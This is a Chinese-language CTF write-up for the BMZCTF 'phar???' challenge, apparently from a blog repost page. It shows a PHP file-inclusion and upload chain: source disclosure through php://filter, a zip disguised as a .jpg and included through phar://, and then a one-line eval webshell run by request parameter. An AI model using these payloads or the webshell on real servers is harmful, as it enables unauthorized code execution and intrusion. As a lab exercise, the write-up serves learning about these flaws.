BMZCTF phar???

pchar???
补充知识点

开始这题之前我们先补充一个知识点

phar 的文件包含 和上面类似先创建一个phar 标准包,使用 PharData 来创建,然后添加文件进去phar里面。 然后在文件包含的函数里面 可控的话 ,使用phar://xxxx/xxx 就可以实现文件包含了

解题

进入题目查看源码发现一个界面我们去访问看一下

BMZCTF phar???_第1张图片

 

 

 

然后我们在include.php中查看源码又发现一个页面upload.php

 BMZCTF phar???_第2张图片

 

 

 两个页面访问结果如下

BMZCTF phar???_第3张图片

 

 

 估计是通过upload.php上传的内容然后通过include.php包含进来,我们先来试试文件包含

BMZCTF phar???_第4张图片

 

 

 

基本确定是文件包含了但是他会在你输入的文件名后面+.php

既然这样那我们尝试使用php://filter/协议读取源码试试

include.php?file=php://filter/convert.base64-encode/resource=include

将源码读出我们进行base64解码得到如下源码


Tips: the parameter is file! :) 


php
    @$file = $_GET["file"];
    if(isset($file))
    {
        if (preg_match('/http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70)
        {
            echo "

error!

"; } else { include($file.'.php'); } } ?>

这里发现过滤掉了http,data,ftp,input,%00,..并且长度不能大于70

然后我们再去读一下upload.php

name="upload">file:
php if(!empty($_FILES["file"])) { echo $_FILES["file"]; $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]); echo "file upload successful!Save in: " . "upload/" . $_FILES["file"]["name"]; } else { echo "upload failed!"; } } ?>

这里采用白名单过滤的方法进行文件上传再根据题目名称为phar我们来试试

首先我们写一个

phpinfo();?>

然后我们将这个php文件压缩成zip的压缩包

BMZCTF phar???_第5张图片

 

 之后将zip压缩包的后缀改为.jpg然后进行上传

BMZCTF phar???_第6张图片

 

 上传成功然后我们使用phar进行文件包含

http://www.bmzclub.cn:23627/include.php?file=phar://upload/1.jpg/1

BMZCTF phar???_第7张图片

 

 成功执行下面我们将phpinfo改为木马即可

echo "hack!";    eval($_REQUEST[cmd]);?>

 

 上传成功,下面我们使用hackbar执行指令即可

BMZCTF phar???_第8张图片

 

你可能感兴趣的:(BMZCTF phar???)